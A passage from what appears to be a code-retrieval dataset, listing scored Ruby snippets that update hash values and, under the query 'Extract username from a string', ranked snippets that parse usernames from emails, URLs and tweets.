"def my_hash_modification_method!(source, years_to_add)\n source.each do |name, old_age|\n source[name] = old_age + years_to_add\n end\n return source\nend", "title": "" }, { "docid": "b550fac6f8bdb9f4834ce847437f3555", "score": "0.6205885", "text": "def add_new_holiday_with_supplies(holiday_hash, season, holiday_name, supply_array)\r\n # code here\r\n # remember to return the updated hash\r\n\r\n holiday_hash[season][holiday_name] = supply_array\r\n return holiday_hash\r\nend", "title": "" }, { "docid": "7a45f4b84a3443d4bea97f1b6a8837ce", "score": "0.6204678", "text": "def update_item(hash, string, int)\n\thash[string] = int \n\tputs hash\nend", "title": "" }, { "docid": "24cbd5003d01c86c5845331532c66510", "score": "0.62043285", "text": "def put(hash)\n Rails.logger.info hash.inspect\n key = [hash['user_id'], hash['type'], hash['timestamp']].join('/') # 340/listen/193842347\n db[key] = hash\n end", "title": "" }, { "docid": "05c3d802a3c5b5e1f7a1d9e2738c56cd", "score": "0.6193848", "text": "def add_hash(hash_id=0, prev_hash_id=0, next_hash_id=0, lines=0) \n @buffer_hash[hash_id] = [prev_hash_id,next_hash_id,lines,[],false]\n end", "title": "" }, { "docid": "28111a0c04396b60c93a090b5b00d468", "score": "0.61884785", "text": "def add_item(hash, x, y)\n\thash[x] = y\n\treturn hash\nend", "title": "" }, { "docid": "b42e568f806562ed8a30ba0d62f4dd45", "score": "0.6186596", "text": "def updateReport(key,value)\n # check to see if it exists in hash\n if @report.has_key? key\n # add to count\n @report[key] = @report[key] + value\n else\n # add to report\n @report[key] = value\n end\nend", "title": "" }, { "docid": "0c5503899748eda995ec0e6b8bbfd51b", "score": "0.6185374", "text": "def update(hash, item, quantity=1)\n hash[item] = quantity\n hash\nend", "title": "" }, { "docid": "b1e4bec680694ac67c4eaaacbb6ef566", "score": "0.6179302", "text": "def update_quantity(hash, item_name, quantity)\r\n hash[item_name] = quantity\r\n hash\r\nend", "title": "" }, { "docid": "1bb60252eaad8375cf70e08af7b5e060", "score": "0.61750853", "text": "def my_hash_modification_method(my_family_pets_ages, years_gone_by)\n\tmy_family_pets_ages.each { |pets, ages| my_family_pets_ages[pets] = ages + years_gone_by }\nend", "title": "" }, { "docid": "e63cbbd30f68d3c0a1c24424bb5c1fb3", "score": "0.6172517", "text": "def accept_data(key,value)\n @data[key] = value\n end", "title": "" }, { "docid": "8162fff001b3f76e5f8548dc3e444ffc", "score": "0.6168144", "text": "def update_counting_hash(hash, key)\nhash[key]\n#if hash[:hello]\nif hash[key]\n hash[key]+=1\nelse\nhash[key] = 1\n# person[:hometown] = \"Brooklyn, NY\"\nend\nhash\nend", "title": "" }, { "docid": "5c4efb1aaac82dcef69ac9a963bb82e2", "score": "0.6161327", "text": "def append( hash )\n\t\tself.merge!( hash ) do |key,origval,newval|\n\t\t\t[ origval, newval ].flatten\n\t\tend\n\tend", "title": "" }, { "docid": "d8a1ccad5372d43ffd20571ba204b1dd", "score": "0.6156153", "text": "def add_new_holiday_with_supplies(holiday_hash, season, holiday_name, supply_array)\n # code here\n # remember to return the updated hash\n holiday_hash[season][holiday_name] = supply_array\nend", "title": "" }, { "docid": "e5aca8cef21909808ca8bbe44ae8a7d8", "score": "0.615347", "text": "def add_or_update_item(list_hash, item, qty=1)\n    list_hash[item] = qty\n    print_list(list_hash)\n    list_hash\nend", "title": "" }, { "docid": "3dbedc0a5e6435180fc107748c7927d7", "score": "0.61438304", "text": "def add(value, hash)\n hash[value[:key]] = { flags: value[:flags], exptime: value[:exptime], value: value[:value], cas_unique: value[:cas_unique] }\n value[:reply] != 'false' ? (self.result = \"\\r\\nSTORED\") : (self.result = '')\n end", "title": "" }, { "docid": "440355e97774c8f5645051b2f08e7447", "score": "0.61427146", "text": "def my_hash_modification_method(source, thing_to_modify)\n source.map do |x, y|\n source[x] = y + thing_to_modify\n end\n source\nend", "title": "" }, { "docid": "1a902b00b11675d81dea92f84274fb45", "score": "0.6139609", "text": "def add more_data\n more_data.each do |collector,new_data|\n case @data[collector]\n when nil\n @data[collector] = new_data\n when Hash\n @data[collector].merge new_data\n end\n end\n end", "title": "" }, { "docid": "631c79ae82973418ec0587648449158c", "score": "0.6137026", "text": "def add(item, quantity, hash)\n hash[item] = quantity\n print hash\nend", "title": "" }, { "docid": "b1e068f23b42093499e23138c14904e8", "score": "0.6123224", "text": "def aoh_update(aoh, row, key, new_value)\n \n aoh[row][key] = new_value\n \n aoh \n # Update the AoH data at row and key to have the value of new_value\n # Return the updated AoH\n # use argu aoh-\"array of hashs to \"update my [row] and [hashs] and return the \"new_value of my aoh\".\n end", "title": "" }, { "docid": "b406b68c5e818c769279b37c8bbff787", "score": "0.61208194", "text": "def add(data)\n length = data.keys.count\n @@store[length] = @@store[length] << data\n end", "title": "" }, { "docid": "88662c11a958cb46318d9bb9e2a97915", "score": "0.6119508", "text": "def append(key, data, flags, exp_time)\n if !exists?(key)\n CacheResult.new(false, MESSAGES[:not_stored], nil)\n else\n current_entry = @hash_storage[key]\n set(key, current_entry.data + data, current_entry.flags, current_entry.exp_time)\n end\n end", "title": "" }, { "docid": "5b8ddcbcc644ae879c3c61cf5d121ada", "score": "0.61162066", "text": "def update_list(hash, item, quantity)\n hash[item]= quantity\nend", "title": "" }, { "docid": "28b74127b8c63f20c887fca20074d664", "score": "0.61121297", "text": "def data=(hash)\n data.mass_assign(hash)\n end", "title": "" }, { "docid": "225764b9f54276d11aa937eda43bb817", "score": "0.61100596", "text": "def add_to_hash(hash, key, value)\n if value.is_a?(Array) # For arrays, convert the elements to hash representations\n hash[key] = value.collect{|val| if val.is_a?(DataObject); val.to_h else val end}\n elsif value.is_a?(DataObject)\n hash[key] = value.to_h\n elsif !value.nil?\n hash[key] = value\n end\n end", "title": "" }, { "docid": "42e6276911779bcf2811ea2e3ad255f2", "score": "0.6107081", "text": "def add_hash(school, key, value)\n school[:key] = value\n puts \"School #{key} updated to #{school[:key]}.\"\n end", "title": "" }, { "docid": "d5960573f6e6ef62cf30ea8ccaaf9048", "score": "0.6102943", "text": "def add_item(hash, new_item, qty = 1)\r\n hash[new_item] = qty\r\n return hash\r\nend", "title": "" }, { "docid": "21bbe7d22ee9af45b8a64fd799eda0de", "score": "0.6100514", "text": "def edit_hash(h)\n return h\n end", "title": "" }, { "docid": "21bbe7d22ee9af45b8a64fd799eda0de", "score": "0.6100514", "text": "def edit_hash(h)\n return h\n end", "title": "" }, { "docid": "40bdde768f1099ec44d266ef6afc96fd", "score": "0.6098458", "text": "def add_item(hash, item_name, quantity)\r\n hash[item_name] = quantity\r\n p hash\r\nend", "title": "" }, { "docid": "fabd558b1b5695250f314e5fdcc7d74c", "score": "0.60963315", "text": "def my_hash_modification_method!(hash, years)\n hash.each {|pet, age| hash[pet] = age + years}\nend", "title": "" }, { "docid": "31282b568f0aac1230aef090b508ad9e", "score": "0.6092898", "text": "def <<(add)\n temp = {}\n self.each { |k, v| temp[k] = v}\n add.each { |k,v| temp[k] = v}\n replace temp\n end", "title": "" }, { "docid": "624a9076f13f1187cb4647815ae6654f", "score": "0.60919446", "text": "def load_new(hash)\n populate(hash)\n @dirty = true\n @type = 'insert'\n end", "title": "" }, { "docid": "2d531bacffd891fe2e8b969b0b2f6be9", "score": "0.60913134", "text": "def push new_data\n unless new_data.respond_to? :to_json\n raise ArgumentError, \"data must be serializable as JSON\"\n end\n\n data << Util.symbolize_hash_keys(new_data)\n end", "title": "" }, { "docid": "f3e4014f83c1c44b767bbf6e17153ba3", "score": "0.6090735", "text": "def add_item(initial_hash, new_string, new_value=1)\r\n initial_hash[new_string] = new_value\r\n initial_hash\r\nend", "title": "" }, { "docid": "09391f935880912fb175756b485744ae", "score": "0.60854447", "text": "def update hash, *option\n raise NotImplementedError, 'this should be overridden by concrete client'\n end", "title": "" }, { "docid": "376bf04902aef4b9990a7a3a788d17f4", "score": "0.60851073", "text": "def hash\n data.hash + type.hash\n end", "title": "" }, { "docid": "c99d1d3816aa1ea735759e928c26857c", "score": "0.6083671", "text": "def add_item(hash, item, quantity)\n hash[item] = quantity\nend", "title": "" }, { "docid": "962628b2af903dbb2084b5d330802c45", "score": "0.60824895", "text": "def insert(data)\n @hash_funcs.times do |i|\n set_bit(hash(i * 0xfba4c795 + @tweak, data) % (@filter.length * 8))\n end\n end", "title": "" }, { "docid": "31967a288e4af5e926f44719058fc57d", "score": "0.6082315", "text": "def apply_hash(h)\n @write_disabled = true\n h.each { |k,v| self[k] = v }\n @write_disabled = false\n write\n end", "title": "" }, { "docid": "3a756106be2e4d1d4fe05266c1726a88", "score": "0.6079852", "text": "def add_new_holiday_with_supplies(holiday_hash, season, holiday_name, supply_array)\n # code here\n holiday_hash[season][holiday_name] = supply_array\n # remember to return the updated hash\n holiday_hash\nend", "title": "" }, { "docid": "7abc1f6140b061e90ff3ad766be947e2", "score": "0.60787946", "text": "def itemUpdate (hash, grocery, groceryNum)\r\n if hash.include?(grocery)\r\n hash[grocery] = groceryNum\r\n else\r\n puts \"item not on list\"\r\n return hash\r\n end\r\nend", "title": "" }, { "docid": "03cb6cb4554f08b969f5d6800cac5b83", "score": "0.6076982", "text": "def update(other_hash)\n touch\n other_hash.each_pair { |k,v|\n set(k,v)\n }\n end", "title": "" }, { "docid": "7c4659c58849445f8329df3f369d0c6e", "score": "0.6075773", "text": "def append(key, flag, time, size, data)\n keyValor = @values[key]\n v = Value.new(key, flag, time ,size.to_i + keyValor.getSize().to_i, keyValor.getData().to_s + data.to_s)\n @values[key] = v\n return \"STORED\\r\\n\"\n end", "title": "" }, { "docid": "4b9fa3e301cb1c58b7803ec91add5398", "score": "0.60738534", "text": "def update_item(initial_hash, updated_item, new_amount)\r\n initial_hash[updated_item] = new_amount\r\n return initial_hash\r\nend", "title": "" }, { "docid": "f1e2dd81079a2f17f1f3934cfd34499c", "score": "0.60727334", "text": "def add_years(hash)\n hash.each { |key, value|\n hash[key] = value + 3 #Access the given hash key to edit its value\n }\nend", "title": "" }, { "docid": "5d54d1602384890e617f19a19d6bacdf", "score": "0.6071866", "text": "def add data\n master.update :add, data\n end", "title": "" }, { "docid": "34ae4a6ad2d3a46e032f3df35cfa1b64", "score": "0.60707074", "text": "def add_item(initial_hash, new_string, new_value=1)\n initial_hash[new_string] = new_value\n initial_hash\nend", "title": "" }, { "docid": "877586831b072a5e5dcbbc4391ac2956", "score": "0.6066263", "text": "def append(key, value); end", "title": "" }, { "docid": "877586831b072a5e5dcbbc4391ac2956", "score": "0.6066263", "text": "def append(key, value); end", "title": "" } ]
ca9ff7ad89f83cddc9bb0f5a19a80486
Extract username from a string
[ { "docid": "9c7278d97c5b43d6a267f5f436951624", "score": "0.793152", "text": "def extract_username(str)\n #s = \"USERNAME: Brian\\nUSERNAME: Mats\\nUSERNAME:beta\"\n matches = str.scan(/(USERNAME: [a-zA-Z0-9]+)/)\n return matches\nend", "title": "" } ]
[ { "docid": "18ec8a2b570bcad1241acf6c81c8c7cf", "score": "0.8313948", "text": "def extract_user_name\n name = @text.scan(USERNAME_REGEX)\n return name.first.first.strip unless name.empty?\n\n ''\n end", "title": "" }, { "docid": "7ed9935f2433c445e940e661f561bbb5", "score": "0.7963847", "text": "def get_username(str)\n\t\t\tusername = str.split(\"!\").first\n\t\t\tusername = username.delete(\":\")\n\t\tend", "title": "" }, { "docid": "3440adf04d1034d3409f5aed50edcf52", "score": "0.7936971", "text": "def parse_username(tweet)\n tweet.match(/^[\\w_]+/).to_a.first\n end", "title": "" }, { "docid": "124698058578175d6abc0518b857d969", "score": "0.7632718", "text": "def username; email.split('@')[0]; end", "title": "" }, { "docid": "c09293bec476a36670a93e513285b7b2", "score": "0.7348257", "text": "def username\n read_attribute(:username)[0..29].gsub(/[^a-zA-Z0-9_\\-@\\.]/, '-').tr('_', '.')\n end", "title": "" }, { "docid": "936d27131468133eb2a296169267de30", "score": "0.7269355", "text": "def extract_user_id(username)\n username[2..-2]\n end", "title": "" }, { "docid": "936d27131468133eb2a296169267de30", "score": "0.7269355", "text": "def extract_user_id(username)\n username[2..-2]\n end", "title": "" }, { "docid": "8232f7e3ad0da4feb81f1480e6eb692b", "score": "0.7194559", "text": "def get_username(email, item_text)\n handle_invalid_chars(email.split(\"@\")[0][0..59])\n end", "title": "" }, { "docid": "2706e5e83708c966ae086758edbf730d", "score": "0.719088", "text": "def username\n email.split(\"@\")[0]\n end", "title": "" }, { "docid": "fe9f8e0141e54b5a4f99d8f1a20cea21", "score": "0.7173204", "text": "def parse_username_from_url\n URI.parse(url_from_attributes).path.split(\"/\")[1]\n rescue URI::BadURIError, URI::InvalidURIError\n nil\n end", "title": "" }, { "docid": "5d4d7bb2857e33e221d4bfc50d46b26a", "score": "0.7108303", "text": "def format_username(username)\n username\n end", "title": "" }, { "docid": "fc6e34b33febd09ca29f5673fdd3ee4e", "score": "0.7084064", "text": "def username\n @username ||= path[/\\/user\\/(.*)\\/m\\//, 1]\n end", "title": "" }, { "docid": "cd3c67362a11752d4710e0fea5a5c8fc", "score": "0.6892888", "text": "def username\n if match = @uri.match(/^.*:\\/\\/(.*?):.*/)\n match[1]\n end\n end", "title": "" }, { "docid": "742438d4d0fc605c069a4ddab21aba5d", "score": "0.68821526", "text": "def parse_for_login_and_find_user(string)\n login = content.match(/\\A@(\\w{3,10})/i).try(:[], 1)\n User.find_by_login(login) \n end", "title": "" }, { "docid": "b2eb65d90fd2e7a2865db3e8cb000b3d", "score": "0.68544465", "text": "def username\nname.blank? ? email.match(/^[^@]+/)[0] : name\n end", "title": "" }, { "docid": "52f7ff5b2c4f2a2029a2427fdc54b136", "score": "0.68487716", "text": "def usernameify(username)\n\t\tusername.gsub(/[\\W]+/, \"\").downcase\n\tend", "title": "" }, { "docid": "f66a9d3ae63595afbb2efd67a5457a31", "score": "0.6778951", "text": "def username\n parsed_uri.user\n end", "title": "" }, { "docid": "05d65ed99fe4d51b0c6d7746856f51a6", "score": "0.6741867", "text": "def extract_username\n user_name = @page.search(\".ProfileHeaderCard-name\")\n user_name.first.inner_text\n end", "title": "" }, { "docid": "9dad6f856ab062504f0021893797dd70", "score": "0.67035764", "text": "def extract_username(args)\n username = @username\n\n if args.last.is_a?(Hash) && args.last.has_key?(:username)\n username = args.last.delete(:username)\n end\n\n if username.nil?\n raise \"cannot make request when username is nil\"\n end\n\n [ username, args ]\n end", "title": "" }, { "docid": "bd13b1aee424ceb55467fd1929fb4dff", "score": "0.6679247", "text": "def username\n self.email.split('@')[0]\n end", "title": "" }, { "docid": "4f4177fc861f9c21338dd17a52dcc563", "score": "0.6643879", "text": "def username\n raw_info['username']\n end", "title": "" }, { "docid": "a65466441f55709050762c351169f3fb", "score": "0.6624803", "text": "def normalize_username(username)\n if username.match UNNORMALIZED_USERNAME_FORMAT\n username.downcase.gsub('.', '_')\n else\n nil\n end\n end", "title": "" }, { "docid": "f6fcccf5fc3ac3679c0ab3cfe1c26530", "score": "0.6623262", "text": "def extract_name_from_text(text); end", "title": "" }, { "docid": "40f1561d6c392f490ebe9907bbc46c8d", "score": "0.66141105", "text": "def split_username(username)\n first_name, last_name = \"\", \"\"\n words, i = username.split(\" \"), 0\n # First names / business names must start with a capital letter\n words = words[1..-1] while !(/[a-zA-Z]/.match(words[0][0]))\n # Read as many words into first_name as will fit, then do the same for last_name\n while words[i] && (first_name + words[i]).size < 30\n first_name += words[i] + \" \"\n i += 1\n end\n while words[i] && (last_name + words[i]).size < 30\n last_name += words[i] + \" \"\n i += 1\n end\n # [0..-2] to remove last space at end\n last_name.blank? ? [first_name.capitalize, \"Feed\"] : [first_name.capitalize, last_name[0..-2].capitalize]\n end", "title": "" }, { "docid": "c33f121893c96989573b4148625703d3", "score": "0.6610187", "text": "def username\n return self.email.split('@')[0].capitalize\n end", "title": "" }, { "docid": "c33f121893c96989573b4148625703d3", "score": "0.6610187", "text": "def username\n return self.email.split('@')[0].capitalize\n end", "title": "" }, { "docid": "14495c87eebd30d46ab53401d56a64c3", "score": "0.6572588", "text": "def username\n destination.split('/').first\n end", "title": "" }, { "docid": "d71b1a422172d8cb46456b64dfc86cca", "score": "0.6544116", "text": "def username\n \tself.email.split('@')[0].capitalize\n end", "title": "" }, { "docid": "c523451e24fb27b74a6ffe1a6c1517b7", "score": "0.65246004", "text": "def generate_username1(first_name)\n remove_non_alpha(first_name)[0]\nend", "title": "" }, { "docid": "fc61b7a6c08499b7b76c3eb149659601", "score": "0.650436", "text": "def username()\n\t\treturn Base64.strict_decode64(@username)\n\tend", "title": "" }, { "docid": "c6d25754b880183d325bfa52b7d9e94f", "score": "0.64862764", "text": "def validate_username( username )\n\t\tif username =~ /^([a-z]\\w+)$/i\n\t\t\treturn $1.untaint.downcase\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "title": "" }, { "docid": "c914072df3fadc95dc4cf617ecc85a90", "score": "0.6479273", "text": "def username_from_openid_identity(identity)\n identity.split('/').last\n end", "title": "" }, { "docid": "9c18739e437f34315171c7a6f5d7596a", "score": "0.64769197", "text": "def remove_hyphen_part\n @username = @username.split('-', 2).first\n end", "title": "" }, { "docid": "ab2c8fc4774fe25102f71605eb5f6532", "score": "0.6429922", "text": "def populate_username\n self.username ||= name.parameterize(\"_\") if name\n end", "title": "" }, { "docid": "2ae9e0f1281403e30e0434a48242fa14", "score": "0.64194417", "text": "def name_from_username(username)\n where(:username => username).map(&:name).first\n end", "title": "" }, { "docid": "cb79da2e34266e07e3608c8d02942f65", "score": "0.6419085", "text": "def get_invalid_username\r\n \"3u9r4j8fjniecn875jdpwqk32mdiy4584vuniwcoekpd932\"\r\n end", "title": "" }, { "docid": "da5c7d231159c587337f7f730f9ad9af", "score": "0.6412177", "text": "def get_first_name(string)\n return string.split(\" \")[0]\n end", "title": "" }, { "docid": "3a0c6c4e8c4da0c08e4c66ad8fd2cd14", "score": "0.63853914", "text": "def extract_user!(identifier)\n md = identifier.match(/(.*)@(.*)/)\n if md\n [md[1], md[2]]\n else\n [nil, identifier]\n end\n end", "title": "" }, { "docid": "3bb15c32f708e26fbac13468d5001125", "score": "0.6370905", "text": "def ad_user_name(user_name, email)\n email_arr = email.strip.split('@')\n name = (email_arr.first.length > 8 && email.include?(user_name.strip)) ? email_arr.first : user_name.strip\n name\n end", "title": "" }, { "docid": "ac1905afdeb8436290f095d3fa7b2f1f", "score": "0.63549626", "text": "def github_username(url)\n GITHUB_URL_REGEX.match(url) ? GITHUB_URL_REGEX.match(url)[1] : nil\n end", "title": "" }, { "docid": "a84bba01ce879fe798548bcaf993ea08", "score": "0.6353965", "text": "def extract_username\n #guarda el nombre de usuario en una variable\n profile_name = @doc.search(\".ProfileHeaderCard-name > a\")#.first.inner_text\n #imprime el nombre de usuario\n puts \"Username: #{profile_name.first.inner_text}\"\n end", "title": "" }, { "docid": "c76c24c7a0166d9693c40d0e065d2fcc", "score": "0.63447624", "text": "def username\n info['username']\n end", "title": "" }, { "docid": "c49d8e5d5b8121c80c1bb30b8aaee3d1", "score": "0.63307416", "text": "def normalize_username\n self.username = username.to_s.strip.downcase\n end", "title": "" }, { "docid": "bd83ca771232f896930c9fe9fedef660", "score": "0.631425", "text": "def user_by_username username: username\n return nil unless username.match /\\A[A-Za-z0-9_]*\\Z/i\n\n User.where(username: username.downcase).first\n end", "title": "" }, { "docid": "89ecd52e26506d0d98eb89cf56f34573", "score": "0.63037217", "text": "def build_discourse_username(lms_username)\n lms_username.slice(0, DISCOURSE_USERNAME_MAX_LENGTH).gsub('__','_').chomp('_')\n end", "title": "" }, { "docid": "80d323f499735b7fa531c8803a2d6a00", "score": "0.6281904", "text": "def name_getter_old(string)\r\n\t#this takes a string and returns the first twitter user name in it\r\n\tstr = \"\"\r\n\tcharacter = 0\r\n\tuntil string[character]==\"\\n\" do\r\n\t\tstr += string[character]\r\n\t\tcharacter +=1\r\n\tend\r\n\treturn str\r\nend", "title": "" }, { "docid": "9f75d4e647e13bb009604ea272acc014", "score": "0.62780786", "text": "def get_resource_username\n\n # Split the name into username and hostname\n unless @resource[:name] =~ /^([^@]+)@(.+)$/\n raise Puppet::Error, \"Invalid name (user@host required)\"\n end\n\treturn $1\n end", "title": "" }, { "docid": "6154ba8e70a3a23b3bed10d3f19edacd", "score": "0.62621015", "text": "def comp_username_header\n find('.header_user_info span').text.strip\n end", "title": "" }, { "docid": "b1066621695aba092c2cfaa59f615e0e", "score": "0.6251703", "text": "def username(saml_response_param)\n get_user(saml_response_param).try(:username)\n end", "title": "" }, { "docid": "6ea3a1e1330aff02f1a5747d08827477", "score": "0.6243641", "text": "def username\n username = FlexCommerceApi.config.flex_account\n username = URI.parse(site).path.split(\"/\").reject(&:empty?).first if username.nil? || username.empty?\n username\n end", "title": "" }, { "docid": "6ef88da9399afd46ddfe390725cc0537", "score": "0.6232928", "text": "def get_username(tweet)\n return tweet.attrs[:user][:screen_name]\n end", "title": "" }, { "docid": "ee0e8293612bc2ab9201652add60c343", "score": "0.622579", "text": "def best_guess_username auth\n\n [ (auth['info']['nickname'] rescue nil),\n auth['info']['email'].split('@')[0],\n (auth['info']['urls']['Google'].split('+')[1] rescue nil),\n ].compact.each do |username|\n return username unless User.exists?( username: username )\n end\n\n username = auth['info']['email'].split('@')[0]\n loop.with_index do |_, i|\n username = \"#{username}#{i + 1}\"\n return username unless User.exists?( username: username )\n end\n\n return username\n end", "title": "" }, { "docid": "a77c54e52b0f9db11e39919559415b69", "score": "0.622162", "text": "def user_name\n print \"user name \"\n user=gets.chomp.to_s\n value=/^(?=.*[0-9])(?=.*[a-z])(?=.*[_]).{4,}$/.match(user)\n\n\nend", "title": "" }, { "docid": "5abee5cb085006ddcaec79ce143448a4", "score": "0.6208175", "text": "def username(name)\n User.find_by_username(name.to_s)\nend", "title": "" }, { "docid": "249fc0eba6caea815d62b7f925ad6134", "score": "0.6199662", "text": "def first_name\n omniauth_info[:name].slice(/.*?(?=\\s?[^ ]+$)/)\n end", "title": "" }, { "docid": "cf8e0ac9ed758c1f54e036bc4b2fa235", "score": "0.61961174", "text": "def username\n self.profile ? self.profile.username : self.email.split('@').first\n end", "title": "" }, { "docid": "b34df512fb655a2a48f007b46d7b3706", "score": "0.6193671", "text": "def name_to_login(name)\n return nil if name.nil? || name == ''\n name = name.gsub(' ', '')\n name = name.downcase\n return name\n end", "title": "" }, { "docid": "a7a6aacaf75a86f86205324313a8c191", "score": "0.61890906", "text": "def display_username(user)\n full_name = Etc.getpwnam(user).gecos.strip\n full_name = full_name.empty? ? user : full_name\n\n \"#{full_name} - #{user}\"\n end", "title": "" }, { "docid": "e60a027d9e66bdd9bfb8608388dfcd43", "score": "0.61890316", "text": "def generate_username1(firstName)\n\tname = firstName[0].downcase\nend", "title": "" }, { "docid": "507cee9ff24a6547adecc966ab29ae5c", "score": "0.6188101", "text": "def username\n raise InvalidRequest, \"Tried to get username from invalid octokey\" unless valid_auth_request?\n auth_request.username\n end", "title": "" }, { "docid": "e452a1342ef32f80a164664dc05240f2", "score": "0.61874396", "text": "def extract_name_from_text(text)\n text.strip.split(/\\s+/, 2)\n end", "title": "" }, { "docid": "2418627f0e0a31838a05c2f462d9f5fd", "score": "0.6186318", "text": "def get_nickname name\n matches = name.scan(/[\\(|\\\"].*?[\\)|\\\"]/)\n return matches[0] if matches.length > 0\n return false\n end", "title": "" }, { "docid": "96cbc61c0b0af4a882153ddb7edbe1f0", "score": "0.61625046", "text": "def trim_username\n login.strip! if login\n end", "title": "" }, { "docid": "236a9443bdf60d40c103ed1603ef3ced", "score": "0.6159411", "text": "def username(value)\n merge(username: value.to_s)\n end", "title": "" }, { "docid": "236a9443bdf60d40c103ed1603ef3ced", "score": "0.6159411", "text": "def username(value)\n merge(username: value.to_s)\n end", "title": "" }, { "docid": "fccbc5610f3ee665b60e21a4a59602e2", "score": "0.6159134", "text": "def requested_username=(requested)\n self.username = requested.gsub(/[^a-zA-Z0-9 \\-\\_]/, '')\n end", "title": "" }, { "docid": "9a010134e34d32161627c33ffd3cd6c4", "score": "0.61462086", "text": "def strip_username\n self.username = username.strip unless self.username.nil?\n end", "title": "" }, { "docid": "b7ada447b8319aee39459501f66ed94c", "score": "0.61317927", "text": "def generate_username_from_email\n return unless self.username.blank?\n username = login_part = self.email.split(\"@\").first\n num = 2\n while( !User.find_by_username(username).nil? )\n username = \"#{login_part}#{num}\"\n num += 2\n end\n self.username = username\n end", "title": "" }, { "docid": "dbc925903cf09934b1c199b14aaa32de", "score": "0.6120671", "text": "def get_resource_username\n\n unless @resource[:name] =~ /^([^@]+)@(.+)\\/(.+)$/\n raise Puppet::Error, \"Invalid name (user@host/db required)\"\n end\n\treturn $1\n end", "title": "" }, { "docid": "cd04137f621f72d63cc6805751b054c2", "score": "0.61174375", "text": "def parse_login\n if params['username'].include? \"|\"\n username = params['username'].split(\"|\")[0].strip\n as_username = params['username'].split(\"|\")[1].strip\n else\n username = params['username']\n as_username = nil\n end\n\n user = User.find_by_login_or_email username\n return nil, nil if user.nil?\n\n user = User.find_by_login_or_email params['username'] unless user.is_admin?\n as_user = User.find_by_login_or_email as_username if !user.nil? && user.is_admin?\n return user, as_user\n end", "title": "" }, { "docid": "4fe358504dc03def5a435936bc4b1173", "score": "0.61135674", "text": "def user_name\n\t\tputs \"Enter user name\"\n\t\t@user = gets.chomp\n unless (@user =~ /^(?![-]{1})[a-z0-9-]*[a-z]{1}$/)\n puts \"Incorrect name! Plese, try againe!\"\n self.user_name\n end\n\tend", "title": "" }, { "docid": "a0b623497a854a2b9bc5bcaf6ca8a8c9", "score": "0.6111671", "text": "def prepare_username\n self.username = \"#{first_name}_#{last_name}_#{url}\"\n end", "title": "" }, { "docid": "8754d4b451d400034a5a4c524e26f2d3", "score": "0.6109817", "text": "def generate_username1(firstname)\n\tfirstname[0].downcase\nend", "title": "" }, { "docid": "6e53a33cd42dde1037d496a634dfb76a", "score": "0.6092123", "text": "def name_from_email(email)\n email.split('@').first\n end", "title": "" }, { "docid": "0cb0b7a0495f076054b81ef5cc587add", "score": "0.60912496", "text": "def ask_username(username)\n if username =~ /^[a-z0-9_]+$/\n puts \"Valid username\"\n else\n puts \"Invalid username\"\n end\nend", "title": "" }, { "docid": "538e0c7a02576548f8c922e0ce2008ee", "score": "0.60896474", "text": "def extract_name(text)\n text.tr(\"0-9\", \"\") # remove all digits from string\nend", "title": "" }, { "docid": "2c64ed323a8d2c260956d07a06ae371c", "score": "0.60702676", "text": "def format_username\n self.username = self.username.downcase.gsub(\" \",\"\")\n end", "title": "" }, { "docid": "8870becfb5f212650e5c34b19cca9b30", "score": "0.60616136", "text": "def generate_username\n return nil if !self.name.present?\n\n names = self.name.to_s.split\n base = (names.first.chars.first + names.last).downcase.gsub(/\\W/, \"\")\n dirty_name = base\n\n i = 1\n while self.class.exists?(username: dirty_name)\n dirty_name = base + i.to_s\n i += 1\n end\n\n self.username = dirty_name\n end", "title": "" }, { "docid": "3d749ab90ac5e7780b35c345c457f117", "score": "0.6053518", "text": "def twitter_username=(username)\n self[:twitter_username] = username.scan(/\\w*/).join('')[0..19]\n end", "title": "" }, { "docid": "b28793631286a5f520a9e3dde985ac45", "score": "0.6042878", "text": "def username_chars()\n (@username =~ /[!#\\$]/).nil? #nil means there are none of those characters in the username\n end", "title": "" }, { "docid": "17107e1b3787beb875ce653e523906a3", "score": "0.60386187", "text": "def get_username(password)\n # Trying to match password with each\n # of the pipe-separated DNs stored in USER/PASSWORD\n @lock.synchronize do\n @user_pool.each_with_xpath(\"USER[contains(PASSWORD, \\\"#{password}\\\")]\") do |user|\n return user['NAME'] if user['AUTH_DRIVER'] == 'x509' && user['PASSWORD'].split('|').include?(password)\n end\n end\n\n nil\n end", "title": "" }, { "docid": "670a4a37cba230c5be0f804d6c9bba03", "score": "0.6036781", "text": "def username\n @username || @token['data']\n end", "title": "" }, { "docid": "2af708d3db3458c9c417946d35cfd0f3", "score": "0.603319", "text": "def email_to_name username_or_email\n username_or_email = username_or_email.split('@').first if username_or_email.include?('@')\n if group = (/(?<first>[a-z|A-Z]+)[\\.|_](?<last>[a-z|A-Z]+)/).match(username_or_email)\n first_name = normalize_name(group[:first])\n last_name = normalize_name(group[:last])\n return first_name, last_name, \"#{first_name} #{last_name}\"\n end\n username = normalize_name(username_or_email)\n return username, nil, username\n end", "title": "" }, { "docid": "9d7a84269944d22105eb517977362eb8", "score": "0.602261", "text": "def get_username\n @user_name ||= user.username\n end", "title": "" }, { "docid": "9bfa14345f30a4b179405782eb7d570e", "score": "0.6019593", "text": "def clean_username_for_path(username)\n username.gsub(%r{[/\\\\. ]+}, \"_\")\n end", "title": "" }, { "docid": "89ce48502ef781b221fa822d29738802", "score": "0.60132617", "text": "def username\n if auth[:type] == :basic\n auth[:username]\n end\n end", "title": "" }, { "docid": "5e507518bf32ffd7d81733568106b2a1", "score": "0.6012723", "text": "def username\n params.require(:user).try(:fetch, :username, nil)\n end", "title": "" }, { "docid": "5e507518bf32ffd7d81733568106b2a1", "score": "0.6012723", "text": "def username\n params.require(:user).try(:fetch, :username, nil)\n end", "title": "" }, { "docid": "107059e17d06687615c624a09ff96408", "score": "0.6009112", "text": "def get_user_id(name)\n System::User.normalize_username(name)\n end", "title": "" }, { "docid": "6ba99abd2f3c6937f732c9ca3de8f9a2", "score": "0.6007698", "text": "def name\n @name ||= userpage.css('.username a').first.text.strip\n end", "title": "" }, { "docid": "259cb732b598231dc276f939807898e6", "score": "0.60014826", "text": "def scrape_username\n un=ENV[\"USER\"] if onUnix?;\n un=ENV[\"USERNAME\"] if onWindows?||!onUnix?;\n un=\"Great One\" if un===nil||un.index(\"root\")!=nil;\n \n return un\n \n end", "title": "" }, { "docid": "259cb732b598231dc276f939807898e6", "score": "0.60014826", "text": "def scrape_username\n un=ENV[\"USER\"] if onUnix?;\n un=ENV[\"USERNAME\"] if 